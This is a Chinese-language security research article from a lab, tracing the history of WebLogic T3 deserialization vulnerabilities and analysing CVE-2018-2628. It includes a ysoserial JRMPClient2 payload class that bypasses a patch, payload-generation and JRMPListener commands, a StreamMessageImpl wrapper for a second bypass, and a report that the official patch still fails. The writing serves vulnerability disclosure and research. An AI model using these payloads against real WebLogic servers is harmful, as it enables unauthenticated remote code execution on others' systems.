作者:Badcode@知道創宇404實驗室
英文版本:http://www.bjnorthway.com/985/
漏洞簡介
2018年4月18日,Oracle官方發布了4月份的安全補丁更新CPU(Critical Patch Update),更新中修復了一個高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻擊者可以在未授權的情況下通過T3協議對存在漏洞的 WebLogic 組件進行遠程攻擊,并可獲取目標系統所有權限。
漏洞影響
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.2
- Weblogic 12.2.1.3
Weblogic 反序列化漏洞歷程
這里簡單的說下幾個有公開利用方式的Weblogic反序列化漏洞。
CVE-2015-4852
2015年11月6日,FoxGlove Security 安全團隊的 @breenmachine 發布的一篇博客中介紹了如何利用Java反序列化和 Apache Commons Collections 這一基礎類庫來攻擊最新版的 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 這些大名鼎鼎的Java應用,實現遠程代碼執行。CVE-2015-4852就是利用 Weblogic 中的Commons Collections 庫來實現遠程代碼執行。查看了CVE-2015-4852的補丁(p21984589_1036_Generic),發現 Weblogic 采用的黑名單的形式來修復這個漏洞。

但是這種修復方式很被動,存在被繞過的風險,只要發現可用并且未在黑名單之外的反序列化類,那么之前的防護就會被打破,系統遭受攻擊。而后的漏洞也證明了這一點。
CVE-2016-0638
Weblogic的反序列化的點有著三個,黑名單ClassFilter.class也作用于這三個位置。
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStreamweblogic.rjvm.MsgAbbrevInputStream.classweblogic.iiop.Utils.class
有人發現利用weblogic.jms.common.StreamMessageImpl的 readExternal()也是可以進行反序列化操作的,而且這個不受黑名單限制,所以可以繞過了之前的補丁。
CVE-2016-3510
? 原理是將反序列化的對象封裝進了weblogic.corba.utils.MarshalledObject,然后再對 MarshalledObject進行序列化,生成 payload 字節碼。反序列化時 MarshalledObject 不在 WebLogic 黑名單里,可正常反序列化,在反序列化時 MarshalledObject對象調用 readObject 時對 MarshalledObject 封裝的序列化對象再次反序列化,這樣就逃過了黑名單的檢查。
CVE-2017-3248
? Java遠程消息交換協議 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技術的、用于查找和引用遠程對象的協議。這是運行在 Java 遠程方法調用 RMI 之下、TCP/IP 之上的線路層協議。
? 這個漏洞就是利用 RMI 機制的缺陷,通過 JRMP 協議達到執行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPListener,這將會序列化一個 RemoteObjectInvocationHandler,該RemoteObjectInvocationHandler使用UnicastRef建立到遠端的 TCP 連接獲取RMI registry。 此連接使用 JRMP 協議,因此客戶端將反序列化服務器響應的任何內容,從而實現未經身份驗證的遠程代碼執行。
CVE-2018-2628 漏洞分析
? 首先我們來看以下 CVE-2017-3248 這個漏洞的補丁(p24667634_1036_Generic),在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一個resolveProxyClass,這個resolveProxyClass只是對 RMI 接口類型進行了判斷,判斷 RMI 接口是否為java.rmi.registry.Registry,是的話拋出錯誤。
這里,換個RMI 接口類型即可繞過這個補丁。可以使用java.rmi.activation.Activator來替代java.rmi.registry.Registry生成payload,即可繞過這個判斷限制。
仿照JRMPClient寫一個JRMPClient2,重新編譯。
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
public Activator getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
}
生成 payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2
可以對比以下JRMPClient 和JRMPClient2 生成的 payload。

除了 RMI 接口不一樣,其他都是一樣的。
JRMPListener開啟
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"
我測試的 Weblogic 版本是10.3.6.0.170117,即已修復了CVE-2017-3248漏洞,在我本地的環境中,CommonsCollections這個 payload 已經失效了。Weblogic 的commons-collections.jar版本已經升級,所以我這里 payload 用的是Jdk7u21(這個 payload 只有在 JRE 版本小于等于 1.7u21 才起作用)。在commons-collections.jar版本沒有升級的 Weblogic 中,使用CommonsCollections 這個 payload 是可以的。
使用 t3 協議腳本發送 p_client2,可以看到JRMPListener有請求過來了,客戶端命令也執行成功了。

作為對比,將JRMPClient生成的 p_client 也發送過去,可以看到報錯信息Unauthorized proxy deserialization,正是黑名單攔截拋出的錯誤。

可見java.rmi.activation.Activator繞過了CVE-2017-3248的補丁了。
另外一種繞過補丁的方式
這種方式是我在復現漏洞時嘗試 payload 的時候發現的,繞過的方式和CVE-2016-0638有關。
StreamMessageImpl這個點在反序列化的時候沒有resolveProxyClass檢查。所以可以使用StreamMessageImpl將RemoteObjectInvocationHandler序列化,以此來繞過resolveProxyClass函數。相當于使用CVE-2016-0638的利用方式加上CVE-2017-3248的 payload 來繞過補丁。
將JRMPClient生成的 payloadObject 用StreamMessageImpl封裝生成新的 payload——p_stream。
public static Object streamMessageImpl(byte[] object) throws Exception {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
}

使用腳本發送,可以看到,成功執行了命令。

CVE-2018-2628補丁分析
初步比對補丁(p27395085_1036_Generic),發現WeblogicFilterConfig.class的黑名單多了一個sun.rmi.server.UnicastRef。
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
但是根據我的實際測試,命令還是可以執行成功,貌似補丁沒起作用。

總結
? 總的來說,Weblogic 反序列化漏洞就是在不停的修復-繞過-修復-繞過......最精彩的永遠是下一個!
參考鏈接
- Ysoserial
- CVE-2018-2628 簡單復現與分析
- WebLogic反序列化漏洞重現江湖,CVE-2017-3248成功繞過之前的官方修復
- Oracle Critical Patch Update Advisory - April 2018
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/584/
暫無評論